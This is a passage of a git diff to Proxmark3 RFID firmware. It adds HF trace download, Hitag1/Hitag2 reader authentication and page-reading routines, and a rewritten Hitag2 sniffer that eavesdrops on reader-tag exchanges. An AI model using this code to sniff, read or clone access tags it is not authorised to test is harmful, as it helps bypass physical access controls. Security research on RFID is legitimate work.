BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory @@ -77,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); } + +void HfPlotDownload(void) { + uint8_t *buf = ToSend; + uint8_t *this_buf = buf; + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + FpgaSetupSsc(); + + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address + AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples + buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM + + LED_B_ON(); + for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) { + // prepare next DMA transfer: + uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE)); + + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE; + + size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE); + + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete + + reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len); + this_buf = next_buf; + } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // Trigger a finish downloading signal with an ACK frame + reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0); + LED_B_OFF(); +} diff --git a/armsrc/hfsnoop.h b/armsrc/hfsnoop.h new file mode 100644 index 000000000..049536940 --- /dev/null +++ b/armsrc/hfsnoop.h @@ -0,0 +1,17 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// Piwi, Feb 2019 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __HFSNOOP_H +#define __HFSNOOP_H + +void HfSniff(int, int); +void HfPlotDownload(void); +#endif diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 2a7cf2859..7e4c7ca14 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -17,18 +17,39 @@ //----------------------------------------------------------------------------- // Piwi, 2019 // Iceman, 2019 +// Anon, 2019 +// Doegox, 2020 + +#define DBG if (DBGLEVEL >= DBG_EXTENDED) #include "hitag2.h" #include "hitag2_crypto.h" -#include "hitag.h" -#include "proxmark3.h" -#include "apps.h" -#include "util.h" #include "string.h" +#include "proxmark3_arm.h" +#include "cmd.h" #include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "lfadc.h" +#include "lfsampling.h" +#include "lfdemod.h" +#include "commonutil.h" + +#define test_bit(data, i) (*(data + (i/8)) >> (7-(i % 8))) & 1 +#define set_bit(data, i) *(data + (i/8)) |= (1 << (7-(i % 8))) +#define clear_bit(data, i) *(data + (i/8)) &= ~(1 << (7-(i % 8))) +#define flip_bit(data, i) *(data + (i/8)) ^= (1 << (7-(i % 8))) + +// Successful crypto auth static bool bCrypto; +// Is in auth stage static bool bAuthenticating; +// Successful password auth +bool bSelecting; +bool bCollision; static bool bPwd; static bool bSuccessful; @@ -47,6 +68,7 @@ static struct hitag2_tag tag = { [9] = { 0x00, 0x00, 0x00, 0x00}, // RSK High [10] = { 0x00, 0x00, 0x00, 0x00}, // RCF [11] = { 0x00, 0x00, 0x00, 0x00}, // SYNC + // up to index 15 reserved for HITAG1/HITAGS public data }, }; @@ -56,7 +78,6 @@ static enum { WRITE_STATE_PROG } writestate; - // ToDo: define a meaningful maximum size for auth_table. The bigger this is, the lower will be the available memory for traces. // Historically it used to be FREE_BUFFER_SIZE, which was 2744. #define AUTH_TABLE_LENGTH 2744 @@ -68,8 +89,15 @@ static uint8_t password[4]; static uint8_t NrAr[8]; static uint8_t key[8]; static uint8_t writedata[4]; +uint8_t logdata_0[4], logdata_1[4]; +uint8_t nonce[4]; +bool key_no; static uint64_t cipher_state; +int16_t blocknr; +size_t flipped_bit = 0; +uint32_t byte_value = 0; + static int hitag2_reset(void) { tag.state = TAG_STATE_RESET; tag.crypto_active = 0; @@ -85,19 +113,21 @@ static int hitag2_init(void) { // TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz // Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) // T0 = TIMER_CLOCK1 / 125000 = 192 -#ifndef T0 -#define T0 192 +#ifndef HITAG_T0 +#define HITAG_T0 192 #endif #define HITAG_FRAME_LEN 20 #define HITAG_T_STOP 36 /* T_EOF should be > 36 */ #define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ +#define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ +#define HITAG_T_1 30 /* T[1] should be 26..30 */ //#define HITAG_T_EOF 40 /* T_EOF should be > 36 */ #define HITAG_T_EOF 80 /* T_EOF should be > 36 */ -#define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ -#define HITAG_T_WAIT_2 90 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_1_MIN 199 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_2_MIN 90 /* T_wait2 should be at least 90 */ #define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ #define HITAG_T_PROG 614 @@ -114,28 +144,33 @@ static int hitag2_init(void) { #define HITAG_T_TAG_CAPTURE_THREE_HALF 41 #define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 +/* +// sim static void hitag_send_bit(int bit) { LED_A_ON(); + // Reset clock for the next bit AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; // Fixed modulation, earlier proxmark version used inverted signal + // check datasheet if reader uses BiPhase? if (bit == 0) { // Manchester: Unloaded, then loaded |__--| LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } else { // Manchester: Loaded, then unloaded |--__| HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } LED_A_OFF(); } +// sim static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // SOF - send start of frame hitag_send_bit(1); @@ -152,6 +187,7 @@ static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // Drop the modulation LOW(GPIO_SSC_DOUT); } +*/ // sim static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { @@ -184,42 +220,43 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Read/Write command: ..xx x..y yy with yyy == ~xxx, xxx is sector number case 10: { - unsigned int sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + uint16_t sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + // Verify complement of sector index if (sector != ((rx[0] >> 3) & 0x07)) { - //DbpString("Transmission error (read/write)"); + DbpString("Transmission error (read/write)"); return; } switch (rx[0] & 0xC6) { // Read command: 11xx x00y - case 0xC0: + case 0xC0: { memcpy(tx, tag.sectors[sector], 4); *txlen = 32; break; - + } // Inverted Read command: 01xx x10y - case 0x44: + case 0x44: { for (size_t i = 0; i < 4; i++) { tx[i] = tag.sectors[sector][i] ^ 0xff; } *txlen = 32; break; - + } // Write command: 10xx x01y - case 0x82: + case 0x82: { // Prepare write, acknowledge by repeating command memcpy(tx, rx, nbytes(rxlen)); *txlen = rxlen; tag.active_sector = sector; tag.state = TAG_STATE_WRITING; break; - + } // Unknown command - default: + default: { Dbprintf("Unknown command: %02x %02x", rx[0], rx[1]); return; - break; + } } } break; @@ -253,15 +290,13 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Reset the cipher state hitag2_cipher_reset(&tag, rx); + // Check if the authentication was correct if (!hitag2_cipher_authenticate(&(tag.cs), rx + 4)) { // The reader failed to authenticate, do nothing Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x Failed!", rx[0], rx[1], rx[2], rx[3], rx[4], rx[5], rx[6], rx[7]); return; } - // Succesful, but commented out reporting back to the Host, this may delay to much. - // Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x OK!",rx[0],rx[1],rx[2],rx[3],rx[4],rx[5],rx[6],rx[7]); - // Activate encryption algorithm for all further communication tag.crypto_active = 1; @@ -272,114 +307,169 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ break; } -// LogTrace(rx, nbytes(rxlen), 0, 0, NULL, false); -// LogTrace(tx, nbytes(txlen), 0, 0, NULL, true); + // LogTrace(rx, nbytes(rxlen), 0, 0, NULL, false); + // LogTrace(tx, nbytes(txlen), 0, 0, NULL, true); if (tag.crypto_active) { hitag2_cipher_transcrypt(&(tag.cs), tx, *txlen / 8, *txlen % 8); } } -// sim -static void hitag_reader_send_bit(int bit) { +// reader/writer +// returns how long it took +static uint32_t hitag_reader_send_bit(int bit) { + uint32_t wait = 0; LED_A_ON(); - // Reset clock for the next bit - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - // Binary puls length modulation (BPLM) is used to encode the data stream + // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + lf_modulation(true); // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(8); // wait for 4-10 times the carrier period + wait += 8; // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); if (bit == 0) { // Zero bit: |_-| - while (AT91C_BASE_TC0->TC_CV < T0 * 22) {}; - + lf_wait_periods(HITAG_T_0 - HITAG_T_LOW); // wait for 18-22 times the carrier period + wait += HITAG_T_0 - HITAG_T_LOW; } else { // One bit: |_--| - while (AT91C_BASE_TC0->TC_CV < T0 * 28) {}; + lf_wait_periods(HITAG_T_1 - HITAG_T_LOW); // wait for 26-32 times the carrier period + wait += HITAG_T_1 - HITAG_T_LOW; } + LED_A_OFF(); + return wait; } -// sim -static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { +// reader / writer commands +static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { + + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { - hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } - // Send EOF - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + lf_modulation(true); + // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(HITAG_T_LOW); + wait += HITAG_T_LOW; + // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); + + // t_stop, high field for stop condition (> 36) + lf_wait_periods(HITAG_T_STOP); + wait += HITAG_T_STOP; + + return wait; } -size_t blocknr; - -//----------------------------------------------------------------------------- -// Hitag2 operations -//----------------------------------------------------------------------------- - -static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { - // Reset the transmission frame length - *txlen = 0; - - // Try to find out which command was send by selecting on length (in bits) - switch (rxlen) { - // No answer, try to resurrect - case 0: { - // Stop if there is no answer (after sending password) - if (bPwd) { - DbpString("Password failed!"); - return false; +uint8_t hitag_crc(uint8_t *data, size_t length) { + uint8_t crc = 0xff; + unsigned int byte, bit; + for (byte = 0; byte < ((length + 7) / 8); byte++) { + crc ^= *(data + byte); + bit = length < (8 * (byte + 1)) ? (length % 8) : 8; + while (bit--) { + if (crc & 0x80) { + crc <<= 1; + crc ^= 0x1d; + } else { + crc <<= 1; } - *txlen = 5; - memcpy(tx, "\xC0", nbytes(*txlen)); } - break; + } + return crc; +} - // Received UID, tag password +/* +void fix_ac_decoding(uint8_t *input, size_t len) { + // Reader routine tries to decode AC data after Manchester decoding + // AC has double the bitrate, extract data from bit-pairs + uint8_t temp[len / 16]; + memset(temp, 0, sizeof(temp)); + + for (size_t i = 1; i < len; i += 2) { + if (test_bit(input, i) && test_bit(input, (i + 1))) { + set_bit(temp, (i / 2)); + } + } + memcpy(input, temp, sizeof(temp)); +} +*/ + + +// looks at number of received bits. +// 0 = collision? +// 32 = good response +bool hitag_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool hitag_s) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } + } + bCollision = true; + return true; + } case 32: { - if (!bPwd) { - *txlen = 32; - memcpy(tx, password, 4); - bPwd = true; + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + } else { memcpy(tag.sectors[blocknr], rx, 4); blocknr++; - } else { - - if (blocknr == 1) { - //store password in block1, the TAG answers with Block3, but we need the password in memory - memcpy(tag.sectors[blocknr], tx, 4); - } else { - memcpy(tag.sectors[blocknr], rx, 4); + if (!hitag_s) { + if (blocknr > 1 && blocknr < 31) { + blocknr = 31; + } } - - blocknr++; - if (blocknr > 7) { + if (blocknr > 63) { DbpString("Read succesful!"); + *txlen = 0; bSuccessful = true; return false; } - *txlen = 10; - tx[0] = 0xC0 | (blocknr << 3) | ((blocknr ^ 7) >> 2); - tx[1] = ((blocknr ^ 7) << 6); + // read next page of card until done + Dbprintf("Reading page %02u", blocknr); + tx[0] = 0xc0 | blocknr >> 4; // RDPPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; } } break; - - // Unexpected response default: { Dbprintf("Uknown frame length: %d", rxlen); return false; @@ -389,6 +479,135 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t return true; } + +bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (bCrypto && byte_value <= 0xff) { + // to retry + bCrypto = false; + } + if (!bCollision) blocknr--; + if (blocknr < 0) { + blocknr = 0; + } + bCollision = true; + // will receive 32-bit UID + } + break; + case 2: { + if (bAuthenticating) { + // received Auth init ACK, send nonce + // TODO Roel, bit-manipulation goes here + /*nonce[0] = 0x2d;*/ + /*nonce[1] = 0x74;*/ + /*nonce[2] = 0x80;*/ + /*nonce[3] = 0xa5;*/ + nonce[0] = byte_value; + byte_value++; + /*set_bit(nonce,flipped_bit);*/ + memcpy(tx, nonce, 4); + *txlen = 32; + // will receive 32 bit encrypted Logdata + } else if (bCrypto) { + // authed, start reading + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + // will receive 32-bit encrypted page + } + } + break; + case 32: { + if (bCollision) { + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx, 37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + bSelecting = true; + // will receive 32-bit configuration page + } else if (bSelecting) { + // Initiate auth + tx[0] = 0xa0 | (key_no); // WRCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + bSelecting = false; + bAuthenticating = true; + // will receive 2-bit ACK + } else if (bAuthenticating) { + // received 32-bit logdata 0 + // TODO decrypt logdata 0, verify against logdata_0 + memcpy(tag.sectors[0], rx, 4); + memcpy(tag.sectors[1], tx, 4); + Dbprintf("%02x%02x%02x%02x %02x%02x%02x%02x", rx[0], rx[1], rx[2], rx[3], tx[0], tx[1], tx[2], tx[3]); + // TODO replace with secret data stream + // TODO encrypt logdata_1 + memcpy(tx, logdata_1, 4); + *txlen = 32; + bAuthenticating = false; + bCrypto = true; + // will receive 2-bit ACK + } else if (bCrypto) { + // received 32-bit encrypted page + // TODO decrypt rx + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if (blocknr > 63) { + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } + + // TEST + Dbprintf("Succesfully authenticated with logdata:"); + Dbhexdump(4, logdata_1, false); + bSuccessful = true; + return false; + /* + // read next page of card until done + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx, 12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + */ + } + } + break; + default: { + Dbprintf("Uknown frame length: %d", rxlen); + return false; + } + break; + } + + return true; +} + +//----------------------------------------------------------------------------- +// Hitag2 operations +//----------------------------------------------------------------------------- + static bool hitag2_write_page(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { switch (writestate) { case WRITE_STATE_START: @@ -431,6 +650,78 @@ static bool hitag2_write_page(uint8_t *rx, const size_t rxlen, uint8_t *tx, size return true; } +static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool write) { + // Reset the transmission frame length + *txlen = 0; + + if (bPwd && !bAuthenticating && write) { + if (!hitag2_write_page(rx, rxlen, tx, txlen)) { + return false; + } + } else { + // Try to find out which command was send by selecting on length (in bits) + switch (rxlen) { + // No answer, try to resurrect + case 0: { + // Stop if there is no answer (after sending password) + if (bPwd) { + DbpString("Password failed!"); + return false; + } + *txlen = 5; + memcpy(tx, "\xC0", nbytes(*txlen)); + } + break; + + // Received UID, tag password + case 32: { + // stage 1, got UID + if (!bPwd) { + bPwd = true; + bAuthenticating = true; + memcpy(tx, password, 4); + *txlen = 32; + } else { + // stage 2, got config byte+password TAG, discard as will read later + if (bAuthenticating) { + bAuthenticating = false; + if (write) { + if (!hitag2_write_page(rx, rxlen, tx, txlen)) { + return false; + } + break; + } + } + // stage 2+, got data block + else { + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + } + + if (blocknr > 7) { + bSuccessful = true; + return false; + } + + *txlen = 10; + tx[0] = 0xC0 | (blocknr << 3) | ((blocknr ^ 7) >> 2); + tx[1] = ((blocknr ^ 7) << 6); + } + } + break; + + // Unexpected response + default: { + Dbprintf("Unknown frame length: %d", rxlen); + return false; + } + break; + } + } + + return true; +} + static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool write) { // Reset the transmission frame length *txlen = 0; @@ -481,19 +772,22 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * } // Received UID, crypto tag answer case 32: { + // stage 1, got UID if (!bCrypto) { uint64_t ui64key = key[0] | ((uint64_t)key[1]) << 8 | ((uint64_t)key[2]) << 16 | ((uint64_t)key[3]) << 24 | ((uint64_t)key[4]) << 32 | ((uint64_t)key[5]) << 40; uint32_t ui32uid = rx[0] | ((uint32_t)rx[1]) << 8 | ((uint32_t)rx[2]) << 16 | ((uint32_t)rx[3]) << 24; Dbprintf("hitag2_crypto: key=0x%x%x uid=0x%x", (uint32_t)((REV64(ui64key)) >> 32), (uint32_t)((REV64(ui64key)) & 0xffffffff), REV32(ui32uid)); cipher_state = _hitag2_init(REV64(ui64key), REV32(ui32uid), 0); + // PRN memset(tx, 0x00, 4); + // Secret data memset(tx + 4, 0xff, 4); hitag2_cipher_transcrypt(&cipher_state, tx + 4, 4, 0); *txlen = 64; bCrypto = true; bAuthenticating = true; } else { - // Check if we received answer tag (at) + // stage 2, got config byte+password TAG, discard as will read later if (bAuthenticating) { bAuthenticating = false; if (write) { @@ -502,13 +796,15 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * } break; } - } else { + } + // stage 2+, got data block + else { // Store the received block memcpy(tag.sectors[blocknr], rx, 4); blocknr++; } if (blocknr > 7) { - DbpString("Read succesful!"); + DbpString("Read successful!"); bSuccessful = true; return false; } else { @@ -522,7 +818,7 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * // Unexpected response default: { - Dbprintf("Uknown frame length: %d", rxlen); + Dbprintf("Unknown frame length: %d", rxlen); return false; } break; @@ -564,7 +860,7 @@ static bool hitag2_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si memcpy(tx, NrAr, 8); bCrypto = true; } else { - DbpString("Authentication succesful!"); + DbpString("Authentication successful!"); return true; } } @@ -572,7 +868,7 @@ static bool hitag2_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si // Unexpected response default: { - Dbprintf("Uknown frame length: %d", rxlen); + Dbprintf("Unknown frame length: %d", rxlen); return false; } break; @@ -631,7 +927,7 @@ static bool hitag2_test_auth_attempts(uint8_t *rx, const size_t rxlen, uint8_t * break; default: { - Dbprintf("Uknown frame length: %d", rxlen); + Dbprintf("Unknown frame length: %d", rxlen); return false; } break; @@ -662,17 +958,19 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // Store the received block memcpy(tag.sectors[blocknr], rx, 4); blocknr++; + + DBG Dbhexdump(4, rx, false); } if (blocknr > 0) { - // DbpString("Read successful!"); + DBG DbpString("Read successful!"); bSuccessful = true; - return false; + return true; } } break; // Unexpected response default: { - Dbprintf("Uknown frame length: %d", rxlen); + DBG Dbprintf("Unknown frame length: %d", rxlen); return false; } break; @@ -681,22 +979,8 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } // Hitag2 Sniffing -void SniffHitag(void) { +void SniffHitag2(void) { - StopTicks(); - -// int frame_count; - int response; - int overflow; - bool rising_edge; - bool reader_frame; - int lastbit; - bool bSkip; - int tag_sof; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); @@ -711,229 +995,103 @@ void SniffHitag(void) { DbpString("Starting Hitag2 sniffing"); LED_D_ON(); - // Set up eavesdropping mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + lf_init(false, false); - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; + logging = false; - // Disable modulation, we are going to eavesdrop, not modulate ;) - LOW(GPIO_SSC_DOUT); + size_t periods = 0; + uint8_t periods_bytes[4]; - // Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the reader frames - AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + int16_t checked = 0; - // Disable timer during configuration - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + /*bool waiting_for_first_edge = true;*/ + LED_C_ON(); - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_BOTH | AT91C_TC_ABETRG | AT91C_TC_LDRA_BOTH; + while (!BUTTON_PRESS()) { - // Enable and reset counter - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero - - // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); -// frame_count = 0; - response = 0; - overflow = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; - - while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit WDT_HIT(); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + + // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); +// lf_reset_counter(); - // Find out if we are dealing with a rising or falling edge - rising_edge = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME) > 0; + // Wait "infinite" for reader modulation + periods = lf_detect_gap(20000); - // Shorter periods will only happen with reader frames - if (!reader_frame && rising_edge && ra < HITAG_T_TAG_CAPTURE_ONE_HALF) { - // Switch from tag to reader capture - LED_C_OFF(); - reader_frame = true; - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - } - - // Only handle if reader frame and rising edge, or tag frame and falling edge - if (reader_frame != rising_edge) { - overflow += ra; - continue; - } - - // Add the buffered timing values of earlier captured edges which were skipped - ra += overflow; - overflow = 0; - - if (reader_frame) { - LED_B_ON(); - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything - } - } else { - LED_C_ON(); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - } - } + // Test if we detected the first reader modulation edge + if (periods != 0) { + if (logging == false) { + logging = true; + LED_D_ON(); } } - // Check if frame was captured - if (rxlen > 0) { -// 